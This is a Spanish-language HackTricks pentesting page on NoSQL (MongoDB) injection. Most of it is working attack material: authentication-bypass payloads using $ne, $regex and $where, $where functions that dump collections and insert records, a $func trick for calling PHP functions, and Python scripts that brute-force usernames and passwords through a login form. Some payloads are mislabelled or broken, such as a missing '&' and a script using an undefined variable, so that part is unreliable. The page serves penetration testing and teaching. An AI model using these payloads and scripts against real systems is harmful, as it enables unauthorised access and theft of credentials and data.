hacktricks/pentesting-web/nosql-injection.md
2023-06-03 01:46:23 +00:00

21 KiB

Inyección NoSQL


Utiliza Trickest para construir y automatizar flujos de trabajo con las herramientas de la comunidad más avanzadas del mundo.
Obtén acceso hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Las bases de datos NoSQL proporcionan restricciones de consistencia más flexibles que las bases de datos SQL tradicionales. Al requerir menos restricciones relacionales y comprobaciones de consistencia, las bases de datos NoSQL a menudo ofrecen beneficios de rendimiento y escalabilidad. Sin embargo, estas bases de datos aún son potencialmente vulnerables a ataques de inyección, incluso si no están utilizando la sintaxis SQL tradicional.

Explotación

En PHP, puedes enviar una matriz cambiando el parámetro enviado de parameter=foo a parameter[arrName]=foo.

Los exploits se basan en agregar un operador:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Bypass de autenticación básica

Usando no igual ($ne) o mayor ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

MongoDB es una base de datos NoSQL que utiliza documentos JSON para almacenar datos. A diferencia de las bases de datos SQL, MongoDB no utiliza tablas y filas, sino que almacena los datos en documentos JSON.

La inyección NoSQL es similar a la inyección SQL, pero en lugar de manipular sentencias SQL, se manipulan objetos JSON. La inyección NoSQL puede ocurrir cuando se utiliza una entrada de usuario no validada para construir una consulta MongoDB.

Un ejemplo de inyección NoSQL es el siguiente:

username[$ne]=admin&password[$ne]=1234

En este ejemplo, se utiliza el operador $ne para buscar documentos donde el campo username no sea igual a admin y el campo password no sea igual a 1234. Si el código que procesa esta entrada de usuario no valida adecuadamente los datos de entrada, un atacante podría manipular la consulta para obtener acceso no autorizado a la base de datos.

Para evitar la inyección NoSQL, es importante validar y sanitizar adecuadamente todas las entradas de usuario antes de utilizarlas en una consulta MongoDB.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00

Extraer información de longitud

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Extraer información de datos

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

MongoDB es una base de datos NoSQL muy popular. A diferencia de las bases de datos SQL, MongoDB no utiliza tablas para almacenar datos, sino que utiliza documentos JSON. Los documentos JSON se almacenan en colecciones, que son similares a las tablas en las bases de datos SQL.

Inyección NoSQL

La inyección NoSQL es similar a la inyección SQL, pero en lugar de aprovechar las vulnerabilidades de las consultas SQL, se aprovechan las vulnerabilidades de las consultas NoSQL. La inyección NoSQL se produce cuando se introduce código malicioso en una consulta NoSQL, lo que permite al atacante acceder a datos que no debería tener acceso.

Ejemplo de Inyección NoSQL

Supongamos que tenemos una aplicación web que utiliza MongoDB para almacenar información de usuarios. La aplicación permite a los usuarios iniciar sesión utilizando su nombre de usuario y contraseña. La consulta para comprobar si el usuario y la contraseña son correctos podría ser la siguiente:

db.users.find({username: 'admin', password: 'password123'})

Si un atacante introduce el siguiente nombre de usuario:

' || 1==1 && this.password.match(/.*/)//+%00

La consulta resultante sería la siguiente:

db.users.find({username: '' || 1==1 && this.password.match(/.*/)//+%00, password: 'password123'})

Esta consulta devuelve todos los documentos de la colección users donde el nombre de usuario es verdadero (ya que || 1==1 siempre es verdadero) y la contraseña coincide con cualquier valor (ya que this.password.match(/.*/) siempre es verdadero).

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

Ejecución arbitraria de funciones en PHP

Usando el operador $func de la librería MongoLite (usada por defecto), es posible ejecutar una función arbitraria como se muestra en este informe.

"user":{"$func": "var_dump"}

Obtener información de diferentes colecciones

Es posible utilizar $lookup para obtener información de una colección diferente. En el siguiente ejemplo, estamos leyendo desde una colección diferente llamada users y obteniendo los resultados de todas las entradas con una contraseña que coincide con un comodín.

[
  {
    "$lookup":{
      "from": "users",
      "as":"resultado","pipeline": [
        {
          "$match":{
            "password":{
              "$regex":"^.*"
            }
          }
        }
      ]
    }
  }
]

Inyección NoSQL a ciegas

La inyección NoSQL a ciegas es una técnica de inyección de código malicioso en una base de datos NoSQL que aprovecha la falta de validación de entrada en la consulta de la base de datos. Esta técnica se utiliza para extraer información confidencial de la base de datos, como credenciales de usuario, contraseñas, información de tarjetas de crédito, etc.

La inyección NoSQL a ciegas se produce cuando un atacante introduce una consulta maliciosa en un campo de entrada de una aplicación web que utiliza una base de datos NoSQL. La consulta maliciosa se ejecuta en la base de datos y devuelve información confidencial al atacante.

Para prevenir la inyección NoSQL a ciegas, se deben implementar medidas de seguridad adecuadas, como la validación de entrada y la sanitización de datos. Además, se deben utilizar consultas parametrizadas en lugar de concatenar cadenas de consulta.

En resumen, la inyección NoSQL a ciegas es una técnica peligrosa que puede permitir a un atacante acceder a información confidencial en una base de datos NoSQL. Es importante implementar medidas de seguridad adecuadas para prevenir este tipo de ataques.

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
    print("[i] Looking for char number "+str(i+1))
    for char in alphabet:
        r = requests.get("http://chall.com?param=^"+flag+char)
        if ("<TRUE>" in r.text):
            flag += char
            print("[+] Flag: "+flag)
            break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r = requests.post(u, data = {'ids': payload}, verify = False)
            if 'OK' in r.text:
                print("Found one more char : %s" % (password+c))
                password += c

Cargas útiles de MongoDB

Basic NoSQL Injection

Payloads

Get all databases
Obtener todas las bases de datos
username[$ne]=1&password[$ne]=1
Get all collections from a database
Obtener todas las colecciones de una base de datos
username[$ne]=1&password[$ne]=1&dummy[$where]=function(){return db.getCollectionNames()}
Get all documents from a collection
Obtener todos los documentos de una colección
username[$ne]=1&password[$ne]=1&dummy[$where]=function(){return db.collection_name.find().toArray()}
Get one document from a collection
Obtener un documento de una colección
username[$ne]=1&password[$ne]=1&dummy[$where]=function(){return db.collection_name.findOne()}
Get a specific document from a collection
Obtener un documento específico de una colección
username[$ne]=1&password[$ne]=1&dummy[$where]=function(){return db.collection_name.find({"_id": ObjectId("document_id")}).toArray()}
Get a specific field from all documents in a collection
Obtener un campo específico de todos los documentos en una colección
username[$ne]=1&password[$ne]=1&dummy[$where]=function(){return db.collection_name.find({}, {"specific_field": 1}).toArray()}
Get all documents where a specific field exists
Obtener todos los documentos donde existe un campo específico
username[$ne]=1&password[$ne]=1&dummy[$where]=function(){return db.collection_name.find({"specific_field": {"$exists": true}}).toArray()}
Get all documents where a specific field equals a value
Obtener todos los documentos donde un campo específico es igual a un valor
username[$ne]=1&password[$ne]=1&dummy[$where]=function(){return db.collection_name.find({"specific_field": "value"}).toArray()}
Get all documents where a specific field matches a regular expression
Obtener todos los documentos donde un campo específico coincide con una expresión regular
username[$ne]=1&password[$ne]=1&dummy[$where]=function(){return db.collection_name.find({"specific_field": /regex/}).toArray()}

Blind NoSQL Injection

Payloads

Get all databases
Obtener todas las bases de datos
username[$regex]=.*&password[$regex]=.*
Get all collections from a database
Obtener todas las colecciones de una base de datos
username[$regex]=.*&password[$regex]=.*&dummy[$where]=function(){return db.getCollectionNames()}
Get all documents from a collection
Obtener todos los documentos de una colección
username[$regex]=.*&password[$regex]=.*&dummy[$where]=function(){return db.collection_name.find().toArray()}
Get one document from a collection
Obtener un documento de una colección
username[$regex]=.*&password[$regex]=.*&dummy[$where]=function(){return db.collection_name.findOne()}
Get a specific document from a collection
Obtener un documento específico de una colección
username[$regex]=.*&password[$regex]=.*&dummy[$where]=function(){return db.collection_name.find({"_id": ObjectId("document_id")}).toArray()}
Get a specific field from all documents in a collection
Obtener un campo específico de todos los documentos en una colección
username[$regex]=.*&password[$regex]=.*&dummy[$where]=function(){return db.collection_name.find({}, {"specific_field": 1}).toArray()}
Get all documents where a specific field exists
Obtener todos los documentos donde existe un campo específico
username[$regex]=.*&password[$regex]=.*&dummy[$where]=function(){return db.collection_name.find({"specific_field": {"$exists": true}}).toArray()}
Get all documents where a specific field equals a value
Obtener todos los documentos donde un campo específico es igual a un valor
username[$regex]=.*&password[$regex]=.*&dummy[$where]=function(){return db.collection_name.find({"specific_field": "value"}).toArray()}
Get all documents where a specific field matches a regular expression
Obtener todos los documentos donde un campo específico coincide con una expresión regular
username[$regex]=.*&password[$regex]=.*&dummy[$where]=function(){return db.collection_name.find({"specific_field": /regex/}).toArray()}
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1

Herramientas

Fuerza bruta de nombres de usuario y contraseñas desde el inicio de sesión POST

Este es un script simple que se puede modificar, pero las herramientas anteriores también pueden realizar esta tarea.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
    print("Extracting password of "+username)
    params = {"username":username, "password[$regex]":"", "login": "login"}
    password = "^"
    while True:
        for c in possible_chars:
            params["password[$regex]"] = password + c + ".*"
            pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
            if int(pr.status_code) == 302:
                password += c
                break
        if c == possible_chars[-1]:
            print("Found password "+password[1:].replace("\\", "")+" for username "+username)
            return password[1:].replace("\\", "")

def get_usernames():
    usernames = []
    params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
    for c in possible_chars:
        username = "^" + c
        params["username[$regex]"] = username + ".*"
        pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
        if int(pr.status_code) == 302:
            print("Found username starting with "+c)
            while True:
                for c2 in possible_chars:
                    params["username[$regex]"] = username + c2 + ".*"
                    if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
                        username += c2
                        print(username)
                        break

                if c2 == possible_chars[-1]:
                    print("Found username: "+username[1:])
                    usernames.append(username[1:])
                    break
    return usernames


for u in get_usernames():
    get_password(u)

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas de la comunidad más avanzadas del mundo.
Obtén acceso hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}